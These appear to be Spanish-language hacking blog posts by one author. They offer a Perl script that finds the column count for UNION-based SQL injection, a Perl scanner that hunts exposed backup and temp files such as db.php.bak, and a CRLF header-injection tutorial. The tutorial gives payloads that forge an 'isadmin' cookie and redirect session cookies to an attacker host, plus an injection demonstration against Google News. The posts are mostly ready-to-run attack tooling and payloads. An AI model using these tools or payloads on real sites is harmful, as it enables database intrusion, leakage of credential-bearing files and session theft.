Posted on
19:15
by Xianur0
#!/usr/bin/perl
#By Xianur0
#uxmal666@gmail.com
#http://xianur0.blogspot.com/
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my $uri = $ARGV[0];
$uri = shift || die("Uso: fuzzer.pl [URI a SQL Injection]\n");
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16");
my $inyeccion = "-10/**/UNION/**/SELECT/**/0";
$uri = $uri.$inyeccion;
print $uri;
for($i=1; $i<1000;$i++) {
$uri = "$uri,$i";
$req = HTTP::Request->new(GET => $uri."/*");
print $uri."/*\n";
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content !~ "mysql_num_rows()") { die("Columna Encontrada: ".$uri."/*\n"); }
} else {
die("Servidor no responde Correctamente!\n"); }
}
Posted on
19:02
by Xianur0
Busca Archivos temporales mediante diccionario y mediante spider:...
#!/usr/bin/perl
#Temp Searcher By Xianur0
#uxmal666@gmail.com
use LWP::UserAgent;
use Term::ANSIColor qw(:constants);
$Term::ANSIColor::AUTORESET = 1;
$ua = LWP::UserAgent->new;
my $web = $ARGV[0];
$web = shift || &uso;
sub uso { print "Uso: temsearch.pl [url]\n"; exit;}
$useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";
&tempse;
&spider();
sub tempse {
print RED "\nCargando Diccionario....\n";
my $temp;
open(TEMPS, "libs/temps.txt") || die "No existe la DB!\n";
while($temp = <TEMPS>){
chomp($temp);
my @datas = split("/", $web);
if($web =~ "http://") {
$host = $datas[2];
} else { $host = $datas[0];}
$tempurl = "http://".$host."/".$temp;
$req = HTTP::Request->new(GET => $tempurl);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
print "Temp Encontrado: ".$tempurl."\n";
}
}
print RED "\nEjecutando Spider.......\n";
}
sub spider() {
my @nexo = ();
sub tags {
my($tag, %attr) = @_;
return if $tag ne 'a';
push(@nexo, values %attr);
}
$p = HTML::LinkExtor->new(\&tags);
$ua->agent($useragent);
$res = $ua->request(HTTP::Request->new(GET => $web),
sub {$p->parse($_[0])});
if(!$res->is_success) { print YELLOW "\nLa Web No Esta Respondiendo Correctamente!\n"; } else {
my $base = $res->base;
@nexo = map { $_ = url($_, $base)->abs; } @nexo;
foreach $url (@nexo) {
my @dat = split("/", $url);
if($dat[0] eq "") { $url = "http://".$host.$url;}
my @corregido = split(/\?/, $url);
$urls= $corregido[0]."~\n";
if(!$urll[$urls]) {
$urll[$urls] = $urls;
$req = HTTP::Request->new(GET => $urls);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
print "Temp Encontrado: ".$urls."\n";
}
}
spider($urls);
}
}
}
El Diccionario (temps.txt):
index.php~
Settings.php~
sql.php~
sql.php.bak
sql_bak.php~
index.bak
index.php.bak
Settings.php.bak
Settings_bak.php~
db.php~
db.php.bak
db.bak
db_bak.php~
Posted on
17:00
by Xianur0
CR: retorno de carro.
Carácter Hexadecimal: 0D.
Carácter Decimal: 13.
LF: Salto de Linea.
Carácter Hexadecimal: 0A.
Carácter Decimal: 10.
CRLF:
Combinación de códigos de control (CR y LF) por la cual se crea una nueva linea.
Explicación Técnica:
Esta combinacion de codigos de control pueden ser usados para crear una nueva linea en metodos computacionales.
Ejemplo:
('Location: '.$_GET['page']);
?>Con ese codigo y la version PHP correcta podriamos crear un header adicional a base de este:
http://www.server.com/vulnerable.php?page=%0D%0ASet-Cookie: isadmin=yes
Con esto la respuesta HTTP seria algo como esto:
HTTP/1.1 302 Found
Location:
Set-Cookie: isadmin=yes
También podríamos usarlo para robar cookies:
include('sessid.php');
$domain = $_REQUEST['uri'];
$id=
header('Set-Cookie: domain='.$domain.'; SESSID='.$id);
?>GET http://www.server.com/vulnerable.php?exploit=%0D%0ALocation: http://www.atacante.com/cookies.php?cookie= HTTP/1.1
Host: www.server.com
y la respuesta seria:
HTTP/1.1 302 Found
Set-Cookie: domain=
Location: http://www.atacante.com/cookies.php?cookie=SESSID=datos
bueno esos son solo ejemplos de esta clase de ataques, ahora vamos a los ejemplos y ataquemos a google news:
http://news.google.com.mx/news?xianur0%5B%0D%0AXianur0%15Was%10%10%15Here%15%43%4F%44%45%0D%0A%15%48%45%58%5D=%0D%0A
Y en el código fuente podremos encontrar:
<input type=hidden name="xianur0[
Xianur0 Was Here CODE
HEX]" value="
como verán hasta los %10 los interpreto

.. aparentemente nada mas están filtradas las dobles comillas y los > y < (por el htmlentities que si valora el revisar caracteres hexadecimales).
Extencion de Contenido:IMAP/SMTP Injection (Gracias a
Inyexion por el link)
Posted on
13:39
by Xianur0
Error de Manejo de Caracteres Hexadecimales en Google News:
Link demostración CRLF:
http://news.google.com.mx/news?xianur0[%0D%0AXianur0%15Was%10%10%15Here%15%43%4F%44%45%0D%0A%15%48%45%58]=%0D%0A
<input type=hidden name="xianur0[
Xianur0 Was Here CODE
HEX]" value="
Como podrán notar hasta los caracteres en hexadecimal los interpreto, y envió incluso los %10 (DLE).